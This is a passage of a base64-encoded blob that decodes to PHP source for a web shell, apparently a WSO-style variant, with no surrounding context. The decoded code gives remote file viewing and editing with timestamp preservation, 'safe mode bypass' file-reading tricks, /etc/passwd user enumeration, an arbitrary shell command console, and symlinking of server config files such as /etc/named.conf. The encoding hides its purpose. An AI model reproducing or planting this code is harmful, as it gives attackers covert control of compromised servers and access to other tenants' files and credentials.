mVhZCgkZnAsIDEwMjQpOw0KCQkJCWZjbG9zZSgkZnApOw0KCQkJfQ0KCQl9ZXhpdDsNCgl9DQoJaWYoIEAkX1BPU1RbJ3AyJ10gPT0gJ21rZmlsZScgKSB7DQoJCWlmKCFmaWxlX2V4aXN0cygkX1BPU1RbJ3AxJ10pKSB7DQoJCQkkZnAgPSBAZm9wZW4oJF9QT1NUWydwMSddLCAndycpOw0KCQkJaWYoJGZwKSB7DQoJCQkJJF9QT1NUWydwMiddID0gImVkaXQiOw0KCQkJCWZjbG9zZSgkZnApOw0KCQkJfQ0KCQl9DQoJfQ0KCUJPRkZIZWFkZXIoKTsNCgllY2hvICc8aDE+RmlsZSB0b29sczwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pic7DQoJaWYoICFmaWxlX2V4aXN0cyhAJF9QT1NUWydwMSddKSApIHsNCgkJZWNobyAnRmlsZSBub3QgZXhpc3QnOw0KCQlCT0ZGRm9vdGVyKCk7DQoJCXJldHVybjsNCgl9DQoJJHVpZCA9IEBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCRfUE9TVFsncDEnXSkpOw0KCWlmKCEkdWlkKSB7DQoJCSR1aWRbJ25hbWUnXSA9IEBmaWxlb3duZXIoJF9QT1NUWydwMSddKTsNCgkJJGdpZFsnbmFtZSddID0gQGZpbGVncm91cCgkX1BPU1RbJ3AxJ10pOw0KCX0gZWxzZSAkZ2lkID0gQHBvc2l4X2dldGdyZ2lkKEBmaWxlZ3JvdXAoJF9QT1NUWydwMSddKSk7DQoJZWNobyAnPHNwYW4+TmFtZTo8L3NwYW4+ICcuaHRtbHNwZWNpYWxjaGFycyhAYmFzZW5hbWUoJF9QT1NUWydwMSddKSkuJyA8c3Bhbj5TaXplOjwvc3Bhbj4gJy4oaXNfZmlsZSgkX1BPU1RbJ3AxJ10pP0JPRkZWaWV3U2l6ZShmaWxlc2l6ZSgkX1BPU1RbJ3AxJ10pKTonLScpLicgPHNwYW4+UGVybWlzc2lvbjo8L3NwYW4+ICcuQk9GRlBlcm1zQ29sb3IoJF9QT1NUWydwMSddKS4nIDxzcGFuPk93bmVyL0dyb3VwOjwvc3Bhbj4gJy4kdWlkWyduYW1lJ10uJy8nLiRnaWRbJ25hbWUnXS4nPGJyPic7DQoJZWNobyAnPHNwYW4+Q3JlYXRlIHRpbWU6PC9zcGFuPiAnLmRhdGUoJ1ktbS1kIEg6aTpzJyxmaWxlY3RpbWUoJF9QT1NUWydwMSddKSkuJyA8c3Bhbj5BY2Nlc3MgdGltZTo8L3NwYW4+ICcuZGF0ZSgnWS1tLWQgSDppOnMnLGZpbGVhdGltZSgkX1BPU1RbJ3AxJ10pKS4nIDxzcGFuPk1vZGlmeSB0aW1lOjwvc3Bhbj4gJy5kYXRlKCdZLW0tZCBIOmk6cycsZmlsZW10aW1lKCRfUE9TVFsncDEnXSkpLic8YnI+PGJyPic7DQoJaWYoIGVtcHR5KCRfUE9TVFsncDInXSkgKQ0KCQkkX1BPU1RbJ3AyJ10gPSAndmlldyc7DQoJaWYoIGlzX2ZpbGUoJF9QT1NUWydwMSddKSApDQoJCSRtID0gYXJyYXkoJ1ZpZXcnLCAnSGlnaGxpZ2h0JywgJ0Rvd25sb2FkJywgJ0hleGR1bXAnLCAnRWRpdCcsICdDaG1vZCcsICdSZW5hbWUnLCAnVG91Y2gnKTsNCgllbHNlDQoJCSRtID0gYXJyYXkoJ0NobW9kJywgJ1JlbmFtZScsICdUb3VjaCcpOw0KCWZvcmVhY2goJG0gYXMgJHYpDQoJCWVjaG8gJzxhIGhyZWY9IyBvbmNsaWNrPSJnKG51bGwsbnVsbCxudWxsLFwnJy5zdHJ0b2xvd2VyKCR2KS4nXCcpIj4nLigoc3RydG9sb3dlcigkdik9PUAkX1BPU1RbJ3AyJ10pPyc8Yj5bICcuJHYuJyBdPC9iPic6JHYpLic8L2E+ICc7DQoJZWNobyAnPGJyPjxicj4nOw0KCXN3aXRjaCgkX1BPU1RbJ3AyJ10pIHsNCgkJY2FzZSAndmlldyc6DQoJCQllY2hvICc8cHJlIGNsYXNzPW1sMT4nOw0KCQkJJGZwID0gQGZvcGVuKCRfUE9TVFsncDEnXSwgJ3InKTsNCgkJCWlmKCRmcCkgew0KCQkJCXdoaWxlKCAhQGZlb2YoJGZwKSApDQoJCQkJCWVjaG8gaHRtbHNwZWNpYWxjaGFycyhAZnJlYWQoJGZwLCAxMDI0KSk7DQoJCQkJQGZjbG9zZSgkZnApOw0KCQkJfQ0KCQkJZWNobyAnPC9wcmU+JzsNCgkJCWJyZWFrOw0KCQljYXNlICdoaWdobGlnaHQnOg0KCQkJaWYoIEBpc19yZWFkYWJsZSgkX1BPU1RbJ3AxJ10pICkgew0KCQkJCWVjaG8gJzxkaXYgY2xhc3M9bWwxIHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiAjMDBDMDAwO2NvbG9yOiM2YjZiNmI7Ij4nOw0KCQkJCSRjb2RlID0gQGhpZ2hsaWdodF9maWxlKCRfUE9TVFsncDEnXSx0cnVlKTsNCgkJCQllY2hvIHN0cl9yZXBsYWNlKGFycmF5KCc8c3BhbiAnLCc8L3NwYW4+JyksIGFycmF5KCc8Zm9udCAnLCc8L2ZvbnQ+JyksJGNvZGUpLic8L2Rpdj4nOw0KCQkJfQ0KCQkJYnJlYWs7DQoJCWNhc2UgJ2NobW9kJzoNCgkJCWlmKCAhZW1wdHkoJF9QT1NUWydwMyddKSApIHsNCgkJCQkkcGVybXMgPSAwOw0KCQkJCWZvcigkaT1zdHJsZW4oJF9QT1NUWydwMyddKS0xOyRpPj0wOy0tJGkpDQoJCQkJCSRwZXJtcyArPSAoaW50KSRfUE9TVFsncDMnXVskaV0qcG93KDgsIChzdHJsZW4oJF9QT1NUWydwMyddKS0kaS0xKSk7DQoJCQkJaWYoIUBjaG1vZCgkX1BPU1RbJ3AxJ10sICRwZXJtcykpDQoJCQkJCWVjaG8gJ0NhblwndCBzZXQgcGVybWlzc2lvbnMhPGJyPjxzY3JpcHQ+ZG9jdW1lbnQubWYucDMudmFsdWU9IiI7PC9zY3JpcHQ+JzsNCgkJCX0NCgkJCWNsZWFyc3RhdGNhY2hlKCk7DQoJCQllY2hvICc8c2NyaXB0PnAzXz0iIjs8L3NjcmlwdD48Zm9ybSBvbnN1Ym1pdD0iZyhudWxsLG51bGwsbnVsbCxudWxsLHRoaXMuY2htb2QudmFsdWUpO3JldHVybiBmYWxzZTsiPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1jaG1vZCB2YWx1ZT0iJy5zdWJzdHIoc3ByaW50ZignJW8nLCBmaWxlcGVybXMoJF9QT1NUWydwMSddKSksLTQpLiciPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT4nOw0KCQkJYnJlYWs7DQoJCWNhc2UgJ2VkaXQnOg0KCQkJaWYoICFpc193cml0YWJsZSgkX1BPU1RbJ3AxJ10pKSB7DQoJCQkJZWNobyAnRmlsZSBpc25cJ3Qgd3JpdGVhYmxlJzsNCgkJCQlicmVhazsNCgkJCX0NCgkJCWlmKCAhZW1wdHkoJF9QT1NUWydwMyddKSApIHsNCgkJCQkkdGltZSA9IEBmaWxlbXRpbWUoJF9QT1NUWydwMSddKTsNCgkJCQkkX1BPU1RbJ3AzJ10gPSBzdWJzdHIoJF9QT1NUWydwMyddLDEpOw0KCQkJCSRmcCA9IEBmb3BlbigkX1BPU1RbJ3AxJ10sInciKTsNCgkJCQlpZigkZnApIHsNCgkJCQkJQGZ3cml0ZSgkZnAsJF9QT1NUWydwMyddKTsNCgkJCQkJQGZjbG9zZSgkZnApOw0KCQkJCQllY2hvICdTYXZlZCE8YnI+PHNjcmlwdD5wM189IiI7PC9zY3JpcHQ+JzsNCgkJCQkJQHRvdWNoKCRfUE9TVFsncDEnXSwkdGltZSwkdGltZSk7DQoJCQkJfQ0KCQkJfQ0KCQkJZWNobyAnPGZvcm0gb25zdWJtaXQ9ImcobnVsbCxudWxsLG51bGwsbnVsbCxcJzFcJyt0aGlzLnRleHQudmFsdWUpO3JldHVybiBmYWxzZTsiPjx0ZXh0YXJlYSBuYW1lPXRleHQgY2xhc3M9YmlnYXJlYT4nOw0KCQkJJGZwID0gQGZvcGVuKCRfUE9TVFsncDEnXSwgJ3InKTsNCgkJCWlmKCRmcCkgew0KCQkJCXdoaWxlKCAhQGZlb2YoJGZwKSApDQoJCQkJCWVjaG8gaHRtbHNwZWNpYWxjaGFycyhAZnJlYWQoJGZwLCAxMDI0KSk7DQoJCQkJQGZjbG9zZSgkZnApOw0KCQkJfQ0KCQkJZWNobyAnPC90ZXh0YXJlYT48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+JzsNCgkJCWJyZWFrOw0KCQljYXNlICdoZXhkdW1wJzoNCgkJCSRjID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRfUE9TVFsncDEnXSk7DQoJCQkkbiA9IDA7DQoJCQkkaCA9IGFycmF5KCcwMDAwMDAwMDxicj4nLCcnLCcnKTsNCgkJCSRsZW4gPSBzdHJsZW4oJGMpOw0KCQkJZm9yICgkaT0wOyAkaTwkbGVuOyArKyRpKSB7DQoJCQkJJGhbMV0gLj0gc3ByaW50ZignJTAyWCcsb3JkKCRjWyRpXSkpLicgJzsNCgkJCQlzd2l0Y2ggKCBvcmQoJGNbJGldKSApIHsNCgkJCQkJY2FzZSAwOiAgJGhbMl0gLj0gJyAnOyBicmVhazsNCgkJCQkJY2FzZSA5OiAgJGhbMl0gLj0gJyAnOyBicmVhazsNCgkJCQkJY2FzZSAxMDogJGhbMl0gLj0gJyAnOyBicmVhazsNCgkJCQkJY2FzZSAxMzogJGhbMl0gLj0gJyAnOyBicmVhazsNCgkJCQkJZGVmYXVsdDogJGhbMl0gLj0gJGNbJGldOyBicmVhazsNCgkJCQl9DQoJCQkJJG4rKzsNCgkJCQlpZiAoJG4gPT0gMzIpIHsNCgkJCQkJJG4gPSAwOw0KCQkJCQlpZiAoJGkrMSA8ICRsZW4pIHskaFswXSAuPSBzcHJpbnRmKCclMDhYJywkaSsxKS4nPGJyPic7fQ0KCQkJCQkkaFsxXSAuPSAnPGJyPic7DQoJCQkJCSRoWzJdIC49ICJcbiI7DQoJCQkJfQ0KCQkgCX0NCgkJCWVjaG8gJzx0YWJsZSBjZWxsc3BhY2luZz0xIGNlbGxwYWRkaW5nPTUgYmdjb2xvcj0jMjIyMjIyPjx0cj48dGQgYmdjb2xvcj0jMDAwMDAwPjxzcGFuIHN0eWxlPSJmb250LXdlaWdodDogbm9ybWFsOyI+PHByZT4nLiRoWzBdLic8L3ByZT48L3NwYW4+PC90ZD48dGQgYmdjb2xvcj0jMjgyODI4PjxwcmU+Jy4kaFsxXS4nPC9wcmU+PC90ZD48dGQgYmdjb2xvcj0jMDAwMDAwPjxwcmU+Jy5odG1sc3BlY2lhbGNoYXJzKCRoWzJdKS4nPC9wcmU+PC90ZD48L3RyPjwvdGFibGU+JzsNCgkJCWJyZWFrOw0KCQljYXNlICdyZW5hbWUnOg0KCQkJaWYoICFlbXB0eSgkX1BPU1RbJ3AzJ10pICkgew0KCQkJCWlmKCFAcmVuYW1lKCRfUE9TVFsncDEnXSwgJF9QT1NUWydwMyddKSkNCgkJCQkJZWNobyAnQ2FuXCd0IHJlbmFtZSE8YnI+JzsNCgkJCQllbHNlDQoJCQkJCWRpZSgnPHNjcmlwdD5nKG51bGwsbnVsbCwiJy51cmxlbmNvZGUoJF9QT1NUWydwMyddKS4nIixudWxsLCIiKTwvc2NyaXB0PicpOw0KCQkJfQ0KCQkJZWNobyAnPGZvcm0gb25zdWJtaXQ9ImcobnVsbCxudWxsLG51bGwsbnVsbCx0aGlzLm5hbWUudmFsdWUpO3JldHVybiBmYWxzZTsiPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1uYW1lIHZhbHVlPSInLmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwMSddKS4nIj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+JzsNCgkJCWJyZWFrOw0KCQljYXNlICd0b3VjaCc6DQoJCQlpZiggIWVtcHR5KCRfUE9TVFsncDMnXSkgKSB7DQoJCQkJJHRpbWUgPSBzdHJ0b3RpbWUoJF9QT1NUWydwMyddKTsNCgkJCQlpZigkdGltZSkgew0KCQkJCQlpZighdG91Y2goJF9QT1NUWydwMSddLCR0aW1lLCR0aW1lKSkNCgkJCQkJCWVjaG8gJ0ZhaWwhJzsNCgkJCQkJZWxzZQ0KCQkJCQkJZWNobyAnVG91Y2hlZCEnOw0KCQkJCX0gZWxzZSBlY2hvICdCYWQgdGltZSBmb3JtYXQhJzsNCgkJCX0NCgkJCWNsZWFyc3RhdGNhY2hlKCk7DQoJCQllY2hvICc8c2NyaXB0PnAzXz0iIjs8L3NjcmlwdD48Zm9ybSBvbnN1Ym1pdD0iZyhudWxsLG51bGwsbnVsbCxudWxsLHRoaXMudG91Y2gudmFsdWUpO3JldHVybiBmYWxzZTsiPjxpbnB1dCB0eXBlPXRleHQgbmFtZT10b3VjaCB2YWx1ZT0iJy5kYXRlKCJZLW0tZCBIOmk6cyIsIEBmaWxlbXRpbWUoJF9QT1NUWydwMSddKSkuJyI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPic7DQoJCQlicmVhazsNCgl9DQoJZWNobyAnPC9kaXY+JzsNCglCT0ZGRm9vdGVyKCk7DQp9DQoNCmZ1bmN0aW9uIGFjdGlvblNhZmVNb2RlKCkgew0KCSR0ZW1wPScnOw0KCW9iX3N0YXJ0KCk7DQoJc3dpdGNoKCRfUE9TVFsncDEnXSkgew0KCQljYXNlIDE6DQoJCQkkdGVtcD1AdGVtcG5hbSgkdGVzdCwgJ2N4Jyk7DQoJCQlpZihAY29weSgiY29tcHJlc3MuemxpYjovLyIuJF9QT1NUWydwMiddLCAkdGVtcCkpew0KCQkJCWVjaG8gQGZpbGVfZ2V0X2NvbnRlbnRzKCR0ZW1wKTsNCgkJCQl1bmxpbmsoJHRlbXApOw0KCQkJfSBlbHNlDQoJCQkJZWNobyAnU29ycnkuLi4gQ2FuXCd0IG9wZW4gZmlsZSc7DQoJCQlicmVhazsNCgkJY2FzZSAyOg0KCQkJJGZpbGVzID0gZ2xvYigkX1BPU1RbJ3AyJ10uJyonKTsNCgkJCWlmKCBpc19hcnJheSgkZmlsZXMpICkNCgkJCQlmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGVuYW1lKQ0KCQkJCQllY2hvICRmaWxlbmFtZS4iXG4iOw0KCQkJYnJlYWs7DQoJCWNhc2UgMzoNCgkJCSRjaCA9IGN1cmxfaW5pdCgiZmlsZTovLyIuJF9QT1NUWydwMiddLiJceDAwIi5wcmVnX3JlcGxhY2UoJyFcKFxkK1wpXHMuKiEnLCAnJywgX19GSUxFX18pKTsNCgkJCWN1cmxfZXhlYygkY2gpOw0KCQkJYnJlYWs7DQoJCWNhc2UgNDoNCgkJCWluaV9yZXN0b3JlKCJzYWZlX21vZGUiKTsNCgkJCWluaV9yZXN0b3JlKCJvcGVuX2Jhc2VkaXIiKTsNCgkJCWluY2x1ZGUoJF9QT1NUWydwMiddKTsNCgkJCWJyZWFrOw0KCQljYXNlIDU6DQoJCQlmb3IoOyRfUE9TVFsncDInXSA8PSAkX1BPU1RbJ3AzJ107JF9QT1NUWydwMiddKyspIHsNCgkJCQkkdWlkID0gQHBvc2l4X2dldHB3dWlkKCRfUE9TVFsncDInXSk7DQoJCQkJaWYgKCR1aWQpDQoJCQkJCWVjaG8gam9pbignOicsJHVpZCkuIlxuIjsNCgkJCX0NCgkJCWJyZWFrOw0KCX0NCgkkdGVtcCA9IG9iX2dldF9jbGVhbigpOw0KCUJPRkZIZWFkZXIoKTsNCgllY2hvICc8aDE+U2FmZSBtb2RlIGJ5cGFzczwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pic7DQoJZWNobyAnPHNwYW4+Q29weSAocmVhZCBmaWxlKTwvc3Bhbj48Zm9ybSBvbnN1Ym1pdD1cJ2cobnVsbCxudWxsLCIxIix0aGlzLnBhcmFtLnZhbHVlKTtyZXR1cm4gZmFsc2U7XCc+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXBhcmFtPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT48YnI+PHNwYW4+R2xvYiAobGlzdCBkaXIpPC9zcGFuPjxmb3JtIG9uc3VibWl0PVwnZyhudWxsLG51bGwsIjIiLHRoaXMucGFyYW0udmFsdWUpO3JldHVybiBmYWxzZTtcJz48aW5wdXQgdHlwZT10ZXh0IG5hbWU9cGFyYW0+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPjxicj48c3Bhbj5DdXJsIChyZWFkIGZpbGUpPC9zcGFuPjxmb3JtIG9uc3VibWl0PVwnZyhudWxsLG51bGwsIjMiLHRoaXMucGFyYW0udmFsdWUpO3JldHVybiBmYWxzZTtcJz48aW5wdXQgdHlwZT10ZXh0IG5hbWU9cGFyYW0+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPjxicj48c3Bhbj5JbmlfcmVzdG9yZSAocmVhZCBmaWxlKTwvc3Bhbj48Zm9ybSBvbnN1Ym1pdD1cJ2cobnVsbCxudWxsLCI0Iix0aGlzLnBhcmFtLnZhbHVlKTtyZXR1cm4gZmFsc2U7XCc+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXBhcmFtPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT48YnI+PHNwYW4+UG9zaXhfZ2V0cHd1aWQgKCJSZWFkIiAvZXRjL3Bhc3N3ZCk8L3NwYW4+PHRhYmxlPjxmb3JtIG9uc3VibWl0PVwnZyhudWxsLG51bGwsIjUiLHRoaXMucGFyYW0xLnZhbHVlLHRoaXMucGFyYW0yLnZhbHVlKTtyZXR1cm4gZmFsc2U7XCc+PHRyPjx0ZD5Gcm9tPC90ZD48dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXBhcmFtMSB2YWx1ZT0wPjwvdGQ+PC90cj48dHI+PHRkPlRvPC90ZD48dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXBhcmFtMiB2YWx1ZT0xMDAwPjwvdGQ+PC90cj48L3RhYmxlPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT4nOw0KCWlmKCR0ZW1wKQ0KCQllY2hvICc8cHJlIGNsYXNzPSJtbDEiIHN0eWxlPSJtYXJnaW4tdG9wOjVweCIgaWQ9Ik91dHB1dCI+Jy5odG1sc3BlY2lhbGNoYXJzKCR0ZW1wKS4nPC9wcmU+JzsNCgllY2hvICc8L2Rpdj4nOw0KCUJPRkZGb290ZXIoKTsNCn0NCg0KZnVuY3Rpb24gYWN0aW9uQ29uc29sZSgpIHsNCiAgICBpZighZW1wdHkoJF9QT1NUWydwMSddKSAmJiAhZW1wdHkoJF9QT1NUWydwMiddKSkgew0KICAgICAgICAkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ3N0ZGVycl90b19vdXQnXSA9IHRydWU7DQogICAgICAgICRfUE9TVFsncDEnXSAuPSAnIDI+JjEnOw0KICAgIH0gZWxzZWlmKCFlbXB0eSgkX1BPU1RbJ3AxJ10pKQ0KICAgICAgICAkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ3N0ZGVycl90b19vdXQnXSA9IGZhbHNlOw0KDQoJaWYoaXNzZXQoJF9QT1NUWydhamF4J10pKSB7DQoJCSRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nYWpheCddID0gdHJ1ZTsNCgkJb2Jfc3RhcnQoKTsNCgkJZWNobyAiZC5jZi5jbWQudmFsdWU9Jyc7XG4iOw0KCQkkdGVtcCA9IEBpY29udigkX1BPU1RbJ2NoYXJzZXQnXSwgJ1VURi04JywgYWRkY3NsYXNoZXMoIlxuJCAiLiRfUE9TVFsncDEnXS4iXG4iLkJPRkZFeCgkX1BPU1RbJ3AxJ10pLCJcblxyXHRcXCdcMCIpKTsNCgkJaWYocHJlZ19tYXRjaCgiIS4qY2RccysoW147XSspJCEiLCRfUE9TVFsncDEnXSwkbWF0Y2gpKQl7DQoJCQlpZihAY2hkaXIoJG1hdGNoWzFdKSkgew0KCQkJCSRHTE9CQUxTWydjd2QnXSA9IEBnZXRjd2QoKTsNCgkJCQllY2hvICJjXz0nIi4kR0xPQkFMU1snY3dkJ10uIic7IjsNCgkJCX0NCgkJfQ0KCQllY2hvICJkLmNmLm91dHB1dC52YWx1ZSs9JyIuJHRlbXAuIic7IjsNCgkJZWNobyAiZC5jZi5vdXRwdXQuc2Nyb2xsVG9wID0gZC5jZi5vdXRwdXQuc2Nyb2xsSGVpZ2h0OyI7DQoJCSR0ZW1wID0gb2JfZ2V0X2NsZWFuKCk7DQoJCWVjaG8gc3RybGVuKCR0ZW1wKSwgIlxuIiwgJHRlbXA7DQoJCWV4aXQ7DQoJfQ0KCUJPRkZIZWFkZXIoKTsNCiAgICBlY2hvICI8c2NyaXB0Pg0KaWYod2luZG93LkV2ZW50KSB3aW5kb3cuY2FwdHVyZUV2ZW50cyhFdmVudC5LRVlET1dOKTsNCnZhciBjbWRzID0gbmV3IEFycmF5KCcnKTsNCnZhciBjdXIgPSAwOw0KZnVuY3Rpb24ga3AoZSkgew0KCXZhciBuID0gKHdpbmRvdy5FdmVudCkgPyBlLndoaWNoIDogZS5rZXlDb2RlOw0KCWlmKG4gPT0gMzgpIHsNCgkJY3VyLS07DQoJCWlmKGN1cj49MCkNCgkJCWRvY3VtZW50LmNmLmNtZC52YWx1ZSA9IGNtZHNbY3VyXTsNCgkJZWxzZQ0KCQkJY3VyKys7DQoJfSBlbHNlIGlmKG4gPT0gNDApIHsNCgkJY3VyKys7DQoJCWlmKGN1ciA8IGNtZHMubGVuZ3RoKQ0KCQkJZG9jdW1lbnQuY2YuY21kLnZhbHVlID0gY21kc1tjdXJdOw0KCQllbHNlDQoJCQljdXItLTsNCgl9DQp9DQpmdW5jdGlvbiBhZGQoY21kKSB7DQoJY21kcy5wb3AoKTsNCgljbWRzLnB1c2goY21kKTsNCgljbWRzLnB1c2goJycpOw0KCWN1ciA9IGNtZHMubGVuZ3RoLTE7DQp9DQo8L3NjcmlwdD4iOw0KCWVjaG8gJzxoMT5Db25zb2xlPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+PGZvcm0gbmFtZT1jZiBvbnN1Ym1pdD0iaWYoZC5jZi5jbWQudmFsdWU9PVwnY2xlYXJcJyl7ZC5jZi5vdXRwdXQudmFsdWU9XCdcJztkLmNmLmNtZC52YWx1ZT1cJ1wnO3JldHVybiBmYWxzZTt9YWRkKHRoaXMuY21kLnZhbHVlKTtpZih0aGlzLmFqYXguY2hlY2tlZCl7YShudWxsLG51bGwsdGhpcy5jbWQudmFsdWUsdGhpcy5zaG93X2Vycm9ycy5jaGVja2VkPzE6XCdcJyk7fWVsc2V7ZyhudWxsLG51bGwsdGhpcy5jbWQudmFsdWUsdGhpcy5zaG93X2Vycm9ycy5jaGVja2VkPzE6XCdcJyk7fSByZXR1cm4gZmFsc2U7Ij48c2VsZWN0IG5hbWU9YWxpYXM+JzsNCglmb3JlYWNoKCRHTE9CQUxTWydhbGlhc2VzJ10gYXMgJG4gPT4gJHYpIHsNCgkJaWYoJHYgPT0gJycpIHsNCgkJCWVjaG8gJzxvcHRncm91cCBsYWJlbD0iLScuaHRtbHNwZWNpYWxjaGFycygkbikuJy0iPjwvb3B0Z3JvdXA+JzsNCgkJCWNvbnRpbnVlOw0KCQl9DQoJCWVjaG8gJzxvcHRpb24gdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkdikuJyI+Jy4kbi4nPC9vcHRpb24+JzsNCgl9DQoJaWYoZW1wdHkoJF9QT1NUWydhamF4J10pJiYhZW1wdHkoJF9QT1NUWydwMSddKSkNCgkJJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidhamF4J10gPSBmYWxzZTsNCgllY2hvICc8L3NlbGVjdD48aW5wdXQgdHlwZT1idXR0b24gb25jbGljaz0iYWRkKGQuY2YuYWxpYXMudmFsdWUpO2lmKGQuY2YuYWpheC5jaGVja2VkKXthKG51bGwsbnVsbCxkLmNmLmFsaWFzLnZhbHVlLGQuY2Yuc2hvd19lcnJvcnMuY2hlY2tlZD8xOlwnXCcpO31lbHNle2cobnVsbCxudWxsLGQuY2YuYWxpYXMudmFsdWUsZC5jZi5zaG93X2Vycm9ycy5jaGVja2VkPzE6XCdcJyk7fSIgdmFsdWU9Ij4+Ij4gPG5vYnI+PGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1hamF4IHZhbHVlPTEgJy4oQCRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nYWpheCddPydjaGVja2VkJzonJykuJz4gc2VuZCB1c2luZyBBSkFYIDxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9c2hvd19lcnJvcnMgdmFsdWU9MSAnLighZW1wdHkoJF9QT1NUWydwMiddKXx8JF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidzdGRlcnJfdG9fb3V0J10/J2NoZWNrZWQnOicnKS4nPiBibGFja2lyZWN0IHN0ZGVyciB0byBzdGRvdXQgKDI+JjEpPC9ub2JyPjxici8+PHRleHRhcmVhIGNsYXNzPWJpZ2FyZWEgbmFtZT1vdXRwdXQgc3R5bGU9ImJvcmRlci1ib3R0b206MDttYXJnaW46MDsiIHJlYWRvbmx5Pic7DQoJaWYoIWVtcHR5KCRfUE9TVFsncDEnXSkpIHsNCgkJZWNobyBodG1sc3BlY2lhbGNoYXJzKCIkICIuJF9QT1NUWydwMSddLiJcbiIuQk9GRkV4KCRfUE9TVFsncDEnXSkpOw0KCX0NCgllY2hvICc8L3RleHRhcmVhPjx0YWJsZSBzdHlsZT0iYm9yZGVyOjFweCBzb2xpZCAjNmI2YjZiO2JhY2tncm91bmQtY29sb3I6IzU1NTtib3JkZXItdG9wOjBweDsiIGNlbGxwYWRkaW5nPTAgY2VsbHNwYWNpbmc9MCB3aWR0aD0iMTAwJSI+PHRyPjx0ZCB3aWR0aD0iMSUiPiQ8L3RkPjx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9Y21kIHN0eWxlPSJib3JkZXI6MHB4O3dpZHRoOjEwMCU7IiBvbmtleWRvd249ImtwKGV2ZW50KTsiPjwvdGQ+PC90cj48L3RhYmxlPic7DQoJZWNobyAnPC9mb3JtPjwvZGl2PjxzY3JpcHQ+ZC5jZi5jbWQuZm9jdXMoKTs8L3NjcmlwdD4nOw0KCUJPRkZGb290ZXIoKTsNCn0NCg0KZnVuY3Rpb24gYWN0aW9uU3ltbGluaygpIHsNCiAgICBCT0ZGSGVhZGVyKCk7DQogICAgZWNobyAnPGgxPlN5bWxpbms8L2gxPic7DQogICAgJGZ1cmwgPSAnaHR0cDovLycuJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10uJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ107DQogICAgJGV4cGxkID0gZXhwbG9kZSgnLycsJGZ1cmwgKTsNCiAgICAkYnVybCA9c3RyX3JlcGxhY2UoZW5kKCRleHBsZCksJycsJGZ1cmwpOyAgDQogICAgDQogICAgZWNobyAnPGRpdiBjbGFzcz0iY29udGVudCI+PGNlbnRlcj4NCiAgICAgICAgICAgICAgICA8aDM+WyA8YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnc3ltbGlua1wnLG51bGwsXCd3ZWJzaXRlXCcsbnVsbCkiPkRvbWFpbnM8L2E+IF0gLSANCiAgICAgICAgICAgICAgICAgICAgWyA8YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnc3ltbGlua1wnLG51bGwsXCd3aG9sZVwnLG51bGwpIj5XaG9sZSBTZXJ2ZXIgU3ltbGluazwvYT4gXSAtIA0KICAgICAgICAgICAgICAgICAgICBbIDxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCdzeW1saW5rXCcsbnVsbCxcJ2NvbmZpZ1wnLG51bGwpIj5Db25maWcgRmlsZSBzeW1saW5rPC9hPiBdPC9oMz48L2NlbnRlcj4nOw0KICAgIA0KICAgIGlmKGlzc2V0KCRfUE9TVFsncDEnXSkgJiYgJF9QT1NUWydwMSddPT0nd2Vic2l0ZScpDQogICAgew0KICAgICAgICBlY2hvICI8Y2VudGVyPiI7DQogICAgICAgICRkMG1haW5zID0gQGZpbGUoIi9ldGMvbmFtZWQuY29uZiIpOw0KICAgICAgICBpZighJGQwbWFpbnMpeyANCiAgICAgICAgICAgIGVjaG8gIjxwcmUgY2xhc3M9bWwxIHN0eWxlPSdtYXJnaW4tdG9wOjVweCc+Q2FudCBhY2Nlc3MgdGhpcyBmaWxlIG9uIHNlcnZlciAtPiBbIC9ldGMvbmFtZWQuY29uZiBdPC9wcmU+PC9jZW50ZXI+IjsgDQogICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICBlY2hvICI8dGFibGUgYWxpZ249Y2VudGVyIGNsYXNzPSdtYWluJyBib3JkZXI9MCA+PHRyIGJnY29sb3I9XCIjMDAwMDAwXCI+PHRkPkNvdW50PC90ZD48dGQ+ZG9tYWluczwvdGQ+PHRkPnVzZXJzPC90ZD48L3